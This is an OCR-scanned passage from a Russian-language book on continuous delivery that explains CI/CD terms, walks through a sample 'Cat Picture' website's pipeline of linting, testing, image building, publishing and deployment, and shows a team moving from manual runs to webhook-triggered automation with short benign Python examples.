компиляцию кода, написанного на языке 
программирования,  в машинный язык .  
Иногда это также означает помещение кода 
в пакет, например в образ контейнера или 
похожий, который менеджер пакетов смо
жет распознать (например, в пакет PyPI 
для Python). 

• Публикация - копирование программного 
обеспечения в репозиторий (место хране
ния программ), например, путем загрузки 
образа или библиотеки в реестр пакетов. 

• Развертывание - копирование ПО в ме
сто, где оно должно быть запущено, и при
ведение его в рабочее состояние. 

Сборка осуществляется 
в рамках процесса интегра
ции, чтобы проверить, что 
все внесенные изменения 
корректно работают вместе. 

Можно проводить развер
тывание без выпуска рели
за: например, развернуть 
новую версию программы, 
но не направлять на нее 
трафик. Однако чаще всего 
развертывание все же пред
полагает релиз; все зависит 
от того, где оно происходит. 
Если вы развертываете ПО 
в производственной среде 
(в продакшене) ,  то выпуск 
релиза происходит одно
временно с развертывани
ем. Подробнее о разверты
вании см. в главе 1 0. 
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• Выпуск релиза - предоставление продукта пользователям. Релиз можно вы
пускать путем загрузки образа или библиотеки в репозиторий или установки 
параметров конфигурации для направления определенного процента трафика 
на развернутый экземпляр программы. 

� Словарик 
Мы осуществляем сборку программного обеспечения с тех пор, как у нас 
появились языки программирования. Это настолько распространенный 
процесс, что первые системы, которые выполняли то, что мы сейчас называ
ем непрерывной доставкой, именовались системами сборки (build systems). 
Этот термин стал таким привычным, что даже сегодня вы слышите слово 
сборка (или билд) ,  хотя при этом имеется в виду последовательность задач 
в пайплайне развертывания, которая выполняется для преобразования ПО 
(подробнее об этом см. в главе 2) .  

Непрерывная доставка/непрерывное 
развертывание 
Теперь в ы  знаете, что значит доставлять изменения в программное обеспечение, 
но что значит делать это непрерывно? В контексте CI мы узнали, что «непрерывно» 
означает «как можно быстрее». Так ли это в случае CD? И да и нет. Непрерывность 
в CD лучше представить в виде диапазона: 

Возможносм/J 6tJtl'\ycкaмtJ 
релиз1J1 безо .... асно и 6 любое 
бремя 

Beзo .... acнtJti:i релиз 
1'\ри каждом изменении 

Создаваемое вами ПО, должно находиться в состоянии, при котором в любое время 
можно выполнить его сборку, релиз и/или развертывание. Но как часто вы решите 
доставлять это ПО, зависит только от вас. 

I 2ooq :  смамtJя в блоzе, о .... ис1J1 -
6ающая V\ринциV\/Jt нeV\peptJ16нozo 
раз6ерм1J16ания 

201.О: мемодика нeV\peptJ16нoi:i 
досма6ки ОV\исана 6 книzе с ана -
ЛОZиЧН/J/М наз6аниеМ 

«А как насчет непрерывного разверты 
вания?» - спросите вы.  Отличный вопрос.  
Если снова обратиться к истории,  то можно 
заметить, что эти два термина, непрерывная 
доставка и непрерывное развертывание, полу
чили широкое распространение практически 
одновременно. Что же происходило в то вре
мя, когда эти термины вошли в оборот? 
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Это был переломный этап в разработке программного обеспечения: старые 
способы создания программных продуктов, когда все зависело от людей и ручных 
операций, жесткое разделение разработки и эксплуатации программ (интересно, 
что термин DevOps (development&operations, разработка и эксплуатация) появился 
примерно в то же время) и четко определенные 

стирования) - все это начало меняться (со сдви- ".+, : Словарик 
процессы разработки ПО (например, этап те- • гом влево ) .  Непрерывное развертывание и не-
прерывная доставка совместно легли в основу 
практик, появившихся в это время. Непрерывное 
развертывание означает, что: 

выпуск релиза рабочей версии ПО 
для пользователей осуществляется 
автоматически при каждом коммите. 

Сдвиг влево - это про
цесс поиска дефектов 
на начальных этапах 
создания программного 
продукта. 

Непрерывное развертывание - это дополнительный этап непрерывной доставки. 
Непрерывная доставка позволяет осуществлять также и непрерывное развертыва
ние. Постоянное пребывание ПО в состоянии готовности к релизу и автоматизация 
процесса доставки освобождают вас от необходимости выбирать, что будет лучше 
для проекта. 

Если непрерывное развертывание на самом деле относится к выпуску 

релизов, почему бы не назвать его непрерывным релизом ? 

Отличная мысль! Непрерывный релиз - более точное название, и оно прояснило 
бы, как эту методику можно применять к ПО, которое не нужно развертывать. 
Однако прижился именно термин «непрерывное развертывание». Пример не
прерывного релиза см. в главе 9. 

Книги для программистов: https://t.me/booksforits



Элементы непрерывной доставки 41 

Элементы непрерывной доставки 
Остальная часть этой книги посвящена описанию основных 
составляющих процесса СО: 

Методика проrраммной разработки, при которой ре
nиз рабочеrо проrраммноrо продукта для поnьзовате
nей осуществnяется так быстро, как тоrо требует про
ект, а ero сборка производится таким образом, чтобы 
реnизы можно быnо rарантированно безопасно выпу
скать в nюбое время. 

Вы узнаете, как использовать CI, чтобы ваш продукт всегда 
был готов к релизу, и как сделать доставку автоматической 
и повторяемой. Это сочетание позволяет вам выбрать, пойти 
ли на крайние меры и осуществлять релиз продукта при каж
дом изменении (непрерывное развертывание) юш же пред
почесть выпуск релизов в другом режиме. В любом случае вы 
можете быть уверены, что весь процесс автоматизирован, что 
позволит осуществлять доставку с необходимой частотой. 

В основе такой автоматизации будет лежать пайплайн 
непрерывной доставки. В этой книге я подробно расскажу, 
что собой представляет каждая из этих задач. Вы обнару
жите, что вне зависимости от того, какой программный 
продукт вы создаете, многие из них будут вам полезны. 

Пайплайн? Задача ?  Что это? 

Чтобы узнать, читайте следующую главу! 

r Тестиµование 

L Сборка J 
Публ и кация 

) Развертывание 

В следующей таблице перечислены виды программ, которые мы рассмотрели выше, 
и указано, что включает доставка каждого из них. 

Доставка Доставка включа- Доставка включает Доставка 
включает ет публикацию? развертывание? включает 
сборку? релиз? 

Библиотека Зависит от Да Нет Да 
проекта 

Двоичный файл Да Обычно Зависит от проекта Да 

Конфиrурация Нет Скорее всего, нет Обычно Да 

Образ контейнера Да Да Зависит от проекта Да 

Сервис Да Обычно Да Да 
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Заключение 
В сфере непрерывной доставки существует множество терминов и противоречи
вых определений. В этой книге мы используем аббревиатуру CD для обозначения 
непрерывной доставки, которая включает в себя непрерывную интеграцию (CI) ,  
развертывание и выпуск релизов. Основное внимание я уделю автоматизации, ко
торая необходима для использования CD вне зависимости от типа доставляемого 
программного обеспечения. 

Итоги 
• Непрерывная доставка полезна при разработке любого типа программ. 

• Непрерывная доставка необходима, чтобы создавать профессиональные про
дукты, работая в команде. 

• Осуществляя непрерывную доставку, используйте непрерывную интеграцию, 
чтобы гарантировать, что ваш продукт всегда находится в состоянии готовности 
к доставке. 

• Непрерывная интеграция - это процесс, при котором объединение изменений 
кода происходит постоянно и каждое изменение проверяется при внесении. 

• Другим условием непрерывной доставки является автоматизация, позволяющая 
выпускать релизы максимально просто, буквально одним нажатием кнопки. 

• Непрерывное развертывание - это дополнительный этап, который можно до
бавить по желанию, если это важно для проекта; в этом случае доставка ПО будет 
происходить автоматически при каждом коммите. 

Далее . . .  
Вы познакомитесь с основами автоматизации непрерывной доставки и терминоло
гией, принятой в этой области, и тем самым подготовитесь к дальнейшему изучению 
материала. 
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Прежде чем перейти к конкретным деталям создания крутых пайплайнов непре
рывной доставки (CD pipelines) ,  узнаем, что вообще такое пайплайн. В этой главе мы 
в общих чертах рассмотрим несколько пайплайнов и определим основные элементы, 
которые должны присутствовать в большинстве пайплайнов CD. 
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Веб-сайт Cat Picture 
Чтобы понять, из чего состоят базовые пайплайны 
CD, рассмотрим сначала пайплайны, используемые 
для веб-сайта Cat Picture. Cat Picture - это лучший 
сайт для поиска и обмена фотографиями котиков ! 
Он довольно прост, но, поскольку это популярный 
ресурс, управляющая им компания (Cat Picture, Inc.) 
создала его в виде нескольких сервисов. 

Компания запускает сайт Cat Picture в облаке (ее 
облачный провайдер называется Big Cloud, Inc.) и ис
пользует сервисы Big Cloud, такие как Big Cloud Blob 
Storage (хранилище ВLОВ-объектов1 Big Cloud) .  

К.огда nол1:>зо6аW\ел1:> 
заходиW\ на сайW\, 
его заnрос сначала 
noCW\ynaeW\ 
на фронW\енд. 

в t 

Что это опять за СО ? 1 
В этой книге аббреви
атурой CD мы обо
значаем непрерывную 
доставку. Подробнее 
см. главу 1 .  

Что такое пайплайн ? 

Не волнуйтесь, об этом 
мы поговорим через 
пару страниц! 

Если nол1:>зо6а -
W\eлt> защел 

[:::] 
__ ...... 1_1 _\;=----\ 

Если nол1:>зо6аW\ел1:> 
non1:>1W\aeW\CЯ 6ойW\и 
6 сбой аккаунW\ или 
npocMoW\peW\t> сбои 
загруженн1:>1е изо -
бр11жения, фронW\енд 
сформируеW\ за -

на СW\раниf1У 
Сервис 

изображений 

Сервис 

пользователей 
с изображениями 
КОW\ико6 (а скорее 
6cezo, W\aK 
и eCW\t>1), 
фронW\енд 
nощлеW\ заnрос 
сер6ису 
изображений ,  
ЧW\Об1:>1 nолучиW\t> 
кt1рW\инку 

______ npoc1:>1 к nол1:>зо6а -

из хранилища. 

Сер6ис изображений 
храниW\ карW\инки 
6 биде д6оичн1:>1х 
ВLОВ -объекW\06. 

W\елоскому сер6ису. 

Сервис nолозо -
6аW\елей 
и сер6ис 
1АЗображений 
храНЯW\ данн1:>1е 
о nол1:>зо6аW\елях 
и их изображениях 
6 базе данн1:>1х (бД). 

1 BLOB (Вinary Large Object) - массив двоичных данных. Здесь - специальный тип данных, 

предназначенный для хранения изображений. Хранилище ВLОВ-объектов оптимизировано 
для хранения больших объемов неструктурированных данных. - Примеч. науч. ред. 
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Исходный код сайта Cat Picture 
Схема архитектуры показывает, как устроен сайт Cat Picture, но для понимания 
пайплайна СО необходимо обсудить один важный момент: где находится код? 

В главе 1 мы рассмотрели элементы СО, половина из которых связана с исполь
зованием непрерывной интеграции (CI) для обеспечения постоянной готовности 
ПО к релизу. Вспомним определение CI: 

Непрерывная интеграция - это процесс, при котором объединение 
изменений кода происходит постоянно и каждое изменение проверяется 
при внесении. 

Если проанализировать, что мы на самом деле 
делаем, осуществляя СО, то мы увидим, что в ос
новном СО означает изменение кода. То есть 
входными данными для пайплайнов СО является 
исходный код. Фактически именно это и отличает 
пайплайны СО от других видов автоматизации 
рабочих процессов: пайплайны СО почти всегда 
используют ИСХОДН Ы Й  КОД в качестве ВХОДН ЫХ 
данных. 

Система контроля 

версий 

Использование системы 
контроля версий, такой 
как Git, является не
обходимым условием 
для реализации СО. Без 
хранения кода вместе 
с историей и системой 
обнаружения конфликтов 
осуществлять СО прак
тически невозможно. По
дробнее об этом в главе 3 .  

Прежде чем рассматривать пайплайны СО 
сайта Cat Picture, нам нужно понять, как орга
низован и где хранится его исходный код. Раз
работчики сайта Cat Picture хранят свой код в не
скольких репозиториях (репах) : 

Сервис 1 
/� 
<- Сервис 1 

пользователей 

• В репозитории фронтенда хранится 
код внешнего интерфейса. 

• Сервис изображений, сервис пользо
вателей и схемы баз данных хранятся 
в репозитории сервисов. 

• И наконец, сайт Cat Picture исполь
зует подход «Конфигурация как код» 
для управления конфигурацией (по
дробнее об этом в главе 3), храня ее 
в репозитории настроек. 

Организовать код сайта Cat Picture мож
но множеством других способов, у каж
дого из которых есть свои плюсы и ми
нусы. 

Книги для программистов: https://t.me/booksforits



46 Глава 2 . Базовый пайплайн 

Пайплайны сайта Cat Picture 
Поскольку сайт Cat Picture состоит из нескольких серви
сов, а весь код и конфигурация, необходимые для него, 
распределены по нескольким репозиториям, он управля
ется несколькими пайплайнами СО. Мы подробно рас
смотрим все эти пайплайны в следующих главах, когда 
будем изучать более продвинутые их варианты, а пока 
остановимся на базовом пайплайне, который использу
ется для сервиса пользователей и сервиса изображений. 

Так как эти два сервиса очень похожи, для них ис
пользуется один и тот же пайплайн, и он содержит все 
основные элементы любого пайплайна. 

Этот пайплайн не только используется для веб-сайта 
Cat Picture, но и содержит основные элементы пайплай
нов, описанных далее в книге! 

Когда все это на самом деле выполняется? 
Об этом мы кратко поговорим чуть позже, 
а более подробно - в главе 10 .  

Сервис / 
/� 
<- Сервис 1 

nольювателей 
� 

'""--l:J 

1.. ЛинlN\инг в1>1лавливае1N\ 
расl'\рОСIN\раненн1>1е 01.«иОКIА 
1'\рограммирования 

�Сnоварик 
Образы контейне
ров - это исполня
емые программные 
пакеты, содержа
щие все необхо
димое для работы 
программы. 

Реп 

сервисов 

Вы полнение 
Реп 

сервисов 
с;> интеграционных 

Реп 

сервисов 

Код в peY10З1A IN\Op1A1A 
серв1Асов служиlN\ 
входНЫМIА даНН!>IМи 
для l'\aul'\лal:iнa: 
1'\ри в1>1млнении 
каждоu задачи 
МЫ ЧIN\O -IN\O делаем 
' '�"м <0дом J 

и юнит-тестов 

Создание образа 

Загрузка образа 

в реестр 

Обновление 

текущего сервиса 

для подгрузки 

нового образа 
------· 

1А нарущен1АЯ СIN\иля 
в коде сервиса изооражени u 
и сервиса l'\OЛDзoвalN\eлeLi. 

2.  TeclN\t>I 1'\роверяюlN\, 
ЧIN\o код сервиса 
изооражениu и сервиса 
1'\Ол1>зова1N\елеu делаеlN\ 
именно IN\O, ЧIN\O 01>1ло 
задумано его ав1N\орам1А. 

3. после ЛIAHIN\IAHгa 
u IN\eCIN\1Apoвaнuя кода 
создаКJIN\СЯ оораз1>1 
кoнlN\eu неров для каждого 
uз сервuсов. 

4. Оораз1>1 конlN\еuнеров 
загружС1КJIN\СЯ 
в рее с IN\p образов. 

5. Наконщ, раоочС!Я верс�.ся 
по ООновляеlN\СЯ 
для IАСl'\ОЛ!>ЗОвС!НIАЯ 
нового оорС!за. 
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Что же такое пай пла йн и что такое задача 
Н а  нескольких предыдущих страницах м ы  рассмотрели пайплайн веб-сайта Cat 
Picture, но что такое пайплайн вообще? В сфере CD существует множество терми
нов. Хотя здесь мы используем термин «nайплайн» (pipeline, конвейер ) , иногда ис
пользуют и другие термины, например «рабочий процесс» (workflow) . Мы подробнее 
обсудим терминологию в конце главы, а пока остановимся на пайплайнах и задачах. 

Задачи (tasks) - это отдельные действия, которые вы можете выполнять; их мож
но представить себе как некие функции. А пайплайн - это как точка входа, дающая 
доступ к коду, который вызывает все функции в нужное время и в определенной 
последовательности. 

Ниже приведен пример пайплайна в виде кода на языке Python, состоящий из 
трех задач: сначала выполняется задача А, затем задача В, а заканчивается пайплайн 
задачей С. 

К.аждая задача 
мдобна функцuu .  

1 
,,,, 

паймайн обьедuняеW\ все 
задачu 6месW1е, оvщсь16ая 
V1Орядок ux Вызова. 

Зада ча А 

Зада ча В 

'°' 
Зада ча С 

-

def t a s kA ( ) :  
рrint ( " Выnолняется задача А ! " )  

def t a s kB ( ) :  
рrint ( " Выполняется задача В ! " ) 

def t a s kC ( ) :  
рrint ( " Выполняется зада ча С ! " )  

def pipeline ( ) :  
t a s kA ( ) 
t a s kB ( ) 
t a s kC ( )  

Пайплайны CD запускаются снова и снова; о том, когда именно происходит их за
пуск, мы поговорим чуть позже. Если бы мы запустили функцию pipeline ( ) (пред
ставляющую собой пайплайн, показанный на рисунке) , то получили бы следующий 
результат: 

Выполняется задача А !  
Выполняется зада ча В !  
Выполняется задача С !  
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Основные задач и в пайплайне CD 
Пайплайн сайта Cat Picture включает все типичные задачи 
большинства пайплайнов. Мы подробно рассмотрим их в сле
дующих главах. А сейчас узнаем, для чего нужна каждая из 
задач пайплайна Cat Picture: 

• Линтинг выявляет распространенные ошибки програм
мирования и нарушения стиля в коде сервиса изображе
ний и сервиса пользователей. 

• Интеграционные и юнит-тесты проверяют, что код сер
виса изображений и код сервиса пользователей делает 
именно то, что было задумано его создателями. 

• После линтинга и тестирования кода задача создания об
раза производит сборку образов контейнеров для каждого 
из сервисов. 

• Далее образы контейнеров загружаются в реестр образов. 

• И наконец, текущая версия программы обновляется для 
подгрузки новых образов. 

Каждая задача в пайплайне Cat Picture представляет собой 
базовый элемент пайплайна: 

Выполнение 
интеграционных 

и юнит-тестов 

Создание 
образа 

� 
/ обр����3

р�естр 

новление 
текущего сервиса 

для подгрузки 
нового образа 

• Линтинг - наиболее распространенная форма статического анализа пайплай
нов СD. 

• Интеграционные и юнит-тесты - это формы тестов. 

• Сервисы собраны в виде образов; для большинства программ их необходимо 
собрать в другом виде, прежде чем использовать. 

• Образы контейнеров хранятся в реестрах и извлекаются из реестров; как следует 
из главы 1 ,  некоторые виды программ необходимо опубликовать, прежде чем их 
можно будет использовать. 

• Сайт Cat Picture должен быть доступен и находиться в рабочем состоянии, чтобы 
пользователи могли с ним взаимодействовать. Обновление работающего сервиса 
для использования нового образа - это своего рода развертывание веб-сайта. 
Вот основные типичные задачи пайплайна CI/CD: 

) Развертывание 
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Шл юзы и п реобразования 
Некоторые задачи связаны с проверкой кода. Это шлюзы проверки качества (система 
контроля качества, quality gates), через которые должен пройти код. 

Другие задачи подразумевают трансформацию кода. Это преобразования кода: код 
поступает на вход в одной форме, а выходит в другой. 

Представление задач в пайплайне CD как шлюзов и преобразований неразрывно 
связано с элементами CD. В главе 1 мы говорили о том, что CD необходима, чтобы: 

• безопасно вносить изменения в ПО в любое время; 

• осуществлять доставку ПО максимально просто, буквально нажатием кнопки. 

Если приглядеться, можно заметить, что эти цели один в один соответствуют за
дачам шлюзов и преобразований: 

• Шлюзы проверяют качество изменений кода, га
рантируя безопасность их доставки. 

• Преобразования осуществляют сборку, публика
цию и,  в зависимости от типа программы, раз
вертывание изменений. 

А по сути, шлюзы обычно составляют часть пайп
лайна, относящуюся к CI ! 

CI - это проверка 
кода! Вы часто слыши
те,  как кто-то говорит 
о «выполнении CI» 
или «сбое CI», и обыч
но в этом случае име-
ют в виду шлюзы. li 
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CD: шлюзы и преобразования 
Вернемся к основным задачам CD и посмотрим, как они 
связаны со шлюзами и преобразованиями: 

• Код попадает на этап тестирования (на котором вы
полняется шлюзовая задача, gating task) и либо проходит 
тест, либо нет. Если тест не пройден, код не должен про
должать движение по пайплайну. 

• Код переходит на этап преобразования и либо полностью 
трансформируется, либо с его помощью вносятся изме
нения в какую-то часть системы. 

Основные задачи СО можно соотнести со шлюзами и пре
образованиями следующим образом: 

• Линтинг - это просмотр кода и выявление распростра
ненных ошибок и багов, но без фактического выполнения 
кода. По мне, так это шлюз ! 

• Тестирование - это проверка правильности выполнения 
кода, то есть проверка того, делает ли код именно то, для 
чего был предназначен. Поскольку это еще один пример 
верификации кода, это тоже похоже на шлюз. 

Тестирование 

L Сборкаj 
Гпубликация 

Развертывание 

\. J 

• Сборка кода - это процесс получения кода в одной форме и трансформации его 
в другую для удобства использования. Иногда эта операция позволяет выявить 
проблемы с кодом, поэтому она имеет признаки CI. Однако чтобы протестиро
вать код, нам, вероятно, потребуется его собрать, поэтому основной целью здесь 
является преобразование (сборка) кода. 

• Публикация кода - это размещение собранной программы в определенном 
месте, чтобы ее можно было использовать. Это часть релиза продукта (для не
которых видов кода, например библиотек, публикация и есть релиз ! )  и тоже 
своего рода преобразование. 

• И наконец, развертывание кода (для программ, которые необходимо запустить 
и выполнить) - это своего рода преобразование состояния собранной версии 
программы. 

Хорошо, допустим, шлюзы - это задачи С/. Вы хотите сказать, 

что С/ - это только тесты и линтинz? Я помню, что до появления 
непрерывной доставки С/ включала в себя и сборку. 

Да, я вас поняла! Процесс CI действительно часто включает в себя сборку, 
а иногда и публикацию. Важно заранее определиться с содержанием этих 
процессов, поэтому в этой книге я предпочитаю относить к CI только в ери -
фикацию, но не сборку/публикацию/развертывание/релиз. 
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Па йплайн сервисов сайта Cat Picture 
Как будет выглядеть пайплайн сервисов сайта Cat Picture, если рассмотреть его как 
пайплайн шлюзов и преобразований? 

1 Выполнен ие 
интеграционных 

и юн ит-тестов 

Создание образа 

Загрузка образа 

в реестр 

Обновлен ие 
текущего сервиса 

для подгрузки 
нового образа 

Первый шлюз, через который дол
жен пройти код, - это линтинг. Если 
в коде на этом этапе возникают про
блемы, не следует начинать преобра
зование кода и его доставку; сначала 
необходимо исправить ошибки. 

Следующий шлюз - интеграционные 
и юнит-тесты. Как и в случае с линтин
гом, если они показывают, что резуль
тат выполнения кода не соответствует 
замыслу авторов, необходимо испра
вить ошибки и лишь затем начинать 
преобразование кода и его доставку. 

Когда код прошел через все шлюзы 
и мы убедились, что в нем нет оши
бок, можно приступать к его преоб
разованию. 

Первое преобразование - это соз
дание образа из исходного кода. Код 
компилируется и упаковывается в об
раз контейнера, пригодный для вы
полнения. 

В ходе следующего преобразования 
созданный образ загружается в ре
естр образов, превращаясь из образа 
на диске в образ в реестре, пригод
ный для загрузки и использования. 

Последнее преобразование обновит 
запущенный сервис для работы с дан
ным образом. 

Готово! 
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Запуск па йплайна 
Вам уже интересно, как и когда запускается пайплайн? Отлично! Коман
да Cat Picture, Inc. несколько раз меняла этот процесс. 

Выполнение 
интеграционных 

и юнит-тестов 

Когда компания Cat Picture, Inc. только начинала свою работу, у нее 
было всего несколько разработчиков: Тофер, Анжела и Сато. Анжела 
написала на Pythoп пайплайн для сайта Cat Picture. Вот как он выглядит: 

Создание 
образа 

def pipeline ( source_repo , config_repo ) :  
l i nt i ng ( source_repo ) 
unit_and_integrat ion_test s ( source_repo ) 
image = bui ld_image ( source_repo ) 
image_u rl  = upload_image_to_registry ( image ) 
update_running_servic e ( image_u r l ,  config_repo ) 

Это упрощенный 
вариант кода, на
писанного Анже
лой, но нам пока 
достаточно и его. ,� 

Функция pipeline ( ) в этом коде выполняет каждую из задач сайта Cat 
Picture в виде функции. 

новление 
текущего сервиса 

для подгрузки 
нового образа 

Как линтинг, так и тестирование выполняется 
на исходном коде, и при создании образа сборка 
осуществляется из исходного кода. Выходные 

данные на каждом этапе преобразования (сборки, загрузки, 
обновления) передаются последовательно по мере их вы-
полнения. 

Замечательно, но как же запустить этот процесс? Кто-то 
(или, как мы скоро увидим, что-то) должен выполнить функ
цию pipeline ( ) .  

Тофер вызвался отвечать за запуск пайплайна, поэтому он 
написал исполняемый файл на Python, который выглядит так: 

if name _main  " ·  
pipeline ( " https : / / 10 . 10 . 10 . 10/ catpicturewebs ite/servi ce . git " ,  

" https : / / 10 . 10 . 10 . 10/ catpictu rewebs ite/config . git " )  

Сервис / /� 
<- Сервис 1 

пользователей :....---

'�� 
Этот исполняемый файл вызывает функцию pipeline ( ) ,  передавая в качестве аргу
ментов адреса Git-репозиториев: репозитория сервиса (Service repo) и репозитория 
настроек (Config repo) .  Тоферу остается только запустить исполняемый файл, ко
торый, в свою очередь, запустит пайплайн со всеми его задачами. 

Обязательно ли писать пайплайны и задачи на Python, как Анжела 

и Тофер? 

Вообще нет! Вам не нужно изобретать систему CD заново, достаточно вы
брать один из уже существующих инструментов. В приложении А представлен 
краткий обзор некоторых имеющихся систем. Мы будем использовать язык 
Python для иллюстрации принципов работы этих систем, не ограничиваясь 
конкретным инструментом, а в дальнейшем мы также используем GitHub 
Actioпs. У всех систем CD свои преимущества и недостатки; выбирайте ту, 
которая лучше всего подойдет для вашего проекта. 

Книги для программистов: https://t.me/booksforits



Запуск один раз в сутки 53 

За пуск оди н  раз в сутки 
Тофер запускает пайплайн путем запуска исполняемого 
файла на языке Python: 

def pipeline ( sou rce_repo, config_repo ) :  
l inting ( source_repo ) 
unit_and_integration_tests ( source_repo ) 
image = build_image ( source_repo ) 
image_u rl  = upload_image_to_registry ( image ) 
update_run n ing_servi c e ( image_ur l ,  config_repo ) 

if name main  

.Словарик 
Фраза «произошел сбой 
пайплайна» (pipeline 
breaks) означает, что 
одна из задач пай
плайна завершилась 
с ошибкой и его вы
полнение остановлено. 

pipeline ( " https : / / 10 . 10 . 10 . 10/ catpictu rewebsite/service . git " ,  
" https : / / 10 . 10 . 10 . 10/ catpicturewebsite/ config . git " )  

Когда Тофер будет его запускать? О н  решил, что будет делать это каждое утро, в на
чале рабочего дня. Посмотрим, как это происходит: 

вторник, 1 0:00 утра 
Тофер запускает пайплайн. 
Происходит сбой пайплайна. 
Тофер видит, что последнее изменение внес Сато. 

CaWlo, У\ОХоже, 
W1ecW1t:>t не У\роходяW1! 

УУ\С,  CY\aCIAOO! 
Я все IАСУ\равлю. 

Это сработало, но посмотрите, что произошло на следующий день. 

Среда , 1 0:00 утра 
Тофер запускает пайплайн. 
Происходит сбой пайплайна. 
И Сато, и Анжела вносили изменения накануне. 

CaWlo, Анжела, 
WlecWlt:>I снова 
не У\роходяWI. 

Не думаю, 

И не я! 

Все работает не так, как надеялся Тофер. Поскольку он запускает пайплайн один раз 
в сутки, он собирает все изменения, сделанные накануне. Когда что-то идет не так, 
он не может точно сказать, какое изменение вызвало проблему. 
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П робуем использовать непрерывную 
и нтеграци ю 
Поскольку Тофер запускает пайплайн один раз в сутки, он собирает все изменения 
за предыдущий день. Если мы обратимся к определению CI, мы поймем, что именно 
идет не так: 

Непрерывная интеграция - это процесс, при котором объединение 
изменений кода происходит постоянно и каждое изменение проверяется 
при внесении. 

То есть Тоферу следует запускать пайплайн при каж
дом изменении .  Таким образом, каждый раз, когда 
в код будут вноситься изменения, команда будет знать, 
вызвало ли это изменение проблемы. 

Тофер просит членов команды сообщать ему каж
дый раз, когда они вносят изменения, чтобы он не
медленно запускал пайплайн. Теперь пайплайн запу
скается при каждом изменении, и команда получает 
обратную связь сразу после внесения изменений. 

чет верг, 1 1 : 1 5  утра 

Непрерывное развертывание 

.Словарик 
Когда говорят, что 
пайплайн прошел 
(pipeline passes) ,  -
это означает, что все 
прошло успешно, то 
есть сбоев не было. 

Запуская весь пайплайн, включая задачи преобразования, Тофер осуществляет 
одновременно и непрерывное развертывание. Большинство разработчиков 
предпочитают выполнять задачи интеграции и преобразования в разных 
пайплайнах. В главе 13 мы рассмотрим компромиссы между этими подходами. 
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Испол ьзова н ие уведомлен ий 
Прошло несколько недель, и члены команды стали сообщать Тоферу о каждом из
менении. Посмотрим, как это происходит: 

пятни ца , 1 5 : 1 5  

Yl'\c 1 Извини,  Тофер, 
я заб111ла сказаW111 W1eoe, 
ЧWIO внесла изменение 

два часа назад. 

И снова все пошло не так гладко, как надеялся Тофер. Анжела внесла изменения 
и забыла сообщить ему об этом, и теперь команде приходится возвращаться назад. 
Как Тоферу быть уверенным, что он не пропустит никаких изменений? 

Тофер изучает проблему и понимает, что может получать уведомления от си
стемы контроля версий каждый раз, когда кто-то вносит изменения. Теперь, вместо 
того чтобы просить сотрудников сообщать ему, когда они вносят изменения, он 
использует электронные уведомления. 

Понедел ьник  10: 1 2: Анжела внесла изменение. 

Тофер запускает пайплайн, и он прошел. 

1 3 : 1 5 :  Сато внес изменение. 

Тофер запускает пайплайн, и он не прошел. 

CaW10, 1'\охоже, 
!:J W1еоя не 1'\рощли 

IOHиWl-WIUW\!11. 

Uсповарик 

Ync! ЗalAM!:JCt> ЭWlиМ. 
Сnасиоо, Тофер. 

Управление контролем версий - термин, применимый для систем, подобных 
GitHub, которые сочетают систему контроля версий с дополнительными 
функциями, такими как инструменты анализа кода. Другие примеры - Gitlab 
и Bitbucket. См. приложение В. 
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Масштаби рование в ручном режиме 
Дела у команды шли настолько хорошо, что в нее приняли еще двух человек. Давайте 
навестим Тофера? 

nят ни�а 

Ко.к же мне 
все ycV\eWlb". 

9:00: Анжела внесла изменение. 

9 : 1 4: Сато внес изменение. 

9:27: Ми-Джун внесла изменение. 

1 0:03: Роберт внес изменение. 

Тофер теперь весь день запускает пайплайн, и у него не остается времени на другую 
работу. У него масса идей, как улучшить пайплайн, и он хотел бы реализовать не
сколько функций, но не успевает этим заняться ! 

Он решает притормозить и подумать о том, что вообще происходит, чтобы найти 
способ сэкономить время: 

1 .  Тоферу приходит электронное письмо. 

2 .  Приложение электронной почты уведомляет его о новом письме. 

3 .  Тофер видит уведомление. 

4. Он запускает скрипт пайплайна. 

5 .  И сообщает остальным, если происходит сбой. 

Тофер анализирует свою роль в этом процессе. Что он должен сделать лично? 

1. Увидеть уведомление электронной почты. 

2.  Ввести команду для запуска скрипта. 

3 .  Сообщить остальным о результатах. 

Можно ли исключить Тофера из процесса? Для этого ему понадобится что-то, что 
может делать следующее: 

1 .  Просматривать уведомления. 

2 .  Запускать скрипт пайплайна. 

3 .  Сообщать остальным о результатах. 

Тоферу нужно найти то, что сможет получать уведомления и запускать скрипт 
вместо него. 
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Автоматизация посредством веб-хуков 
Время - деньги ! Тофер понимает, что весь его день уходит на запуск пайплайна, 
но может исключить себя из процесса, если найдет инструменты для выполнения 
следующих задач: 

1. Просмотр уведомлений. 

2.  Запуск скрипта пайплайна. 

3 .  Оповещение сотрудников 
о результатах. 

Тофер исследует этот вопрос и обнаруживает, 
что система контроля версий поддерживает веб
хуки. Написав простой веб-сервер, он может еде-
лать все, что нужно: 

1 .  Система контроля версий будет 
отправлять запрос на его веб
сервер каждый раз, когда кто-то 
вносит изменения.  (Тоферу не 
нужно видеть это уведомление! )  

.Словарик 
Используйте веб-хуки (web
hooks) ,  чтобы система, ко-
торую вам не надо контро
лировать, запускала код при 
наступлении определенного 
события. Обычно это реа
лизуется путем предостав
ления системе URL-aдpeca 
конечной точки НТТР, 
которой вы управляете. 

2.  Когда веб-сервер получает запрос, он сам запускает скрипт пайплайна. (Тоферу 
не нужно этого делать ! )  

3 .  Запрос, который система отправляет на  веб-сервер, содержит адрес электронной по
чты того, кто внес изменение, поэтому в случае ошибки выполнения скрипта пайп
лайна веб-сервер отправляет электронное письмо человеку, сделавшему ошибку. 

c l a s s  Webhoo k ( BaseHTTPRequestHandler ) : 
def do_POST ( self ) : 

respond ( self )  
ema i l  = get_emai l_from_request ( self )  
s ucces s ,  logs  = run_pipeline ( )  
if not s u c ces s : 

send_ema i l ( ema i l ,  logs ) 

if name _main  ' ·  
httpd = HTTPServe r ( ( '  ' ,  8080 ) , Webhoo k )  
httpd . serve_forever ( ) 

Тофер запускает веб-сервер на своей рабочей станции - и работа пайплайна авто
матизирована! 

Как получить доступ к уведомлениям и событиям системы контроля 

версий ?  

Вам придется обратиться к документации по  своей системе контроля версий, 
чтобы узнать, как ее настроить, но уведомления об изменениях и запуск веб
хуков - основные функции большинства таких систем. Если в вашей системе 
их нет, переходите на другую! (Некоторые доступные варианты перечислены 
в приложении В.)  
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Масштаби рование при наличии  веб-хуков 
Посмотрим, что происходит теперь, коrда Тофер автоматизировал процесс выпол
нения пайплайна с помощью веб-хука: 

понедельник  
9: 1 4: Анжела внесла изменение. 

Система контроля версий активирует веб
хук Тофера. 

